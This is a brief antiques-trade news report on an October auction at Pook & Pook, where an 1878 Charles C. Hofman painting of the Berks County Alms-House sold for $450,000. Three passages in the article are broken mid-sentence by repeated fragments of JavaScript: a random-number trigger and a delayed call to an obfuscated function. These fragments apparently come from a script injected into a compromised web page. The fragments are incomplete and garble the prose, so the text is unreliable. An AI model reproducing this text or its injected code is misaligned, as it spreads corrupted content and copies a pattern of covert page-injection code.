DOWNINGTOWN, PENN. — Performing well above estimate Friday, October 11, at Pook & Pook’s October 11–12 auction, a Charles C. Hofman (American 1820–1882), oil on tin, “Views of the buildings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and surroundings of the Berks County, Pennsylvania Alms-House,” soared over its $125/175,000 estimate to hammer at $450,000 (plus 18½ buyer’s premium equals $533,250.)

Three phones chased this 1878 painting until one buyer triumphed, winning the fine work that had a a central oval bird’s eye view of the complex within an ornate border, surrounded by eight smaller vignettes of the outbuildings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the State Seal of Pennsylvania. This work was painted for Samuel Schoener who provided Hofman with a barn to sleep in andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and liquor to drink in return.

A complete report on the sale will appear in a future edition.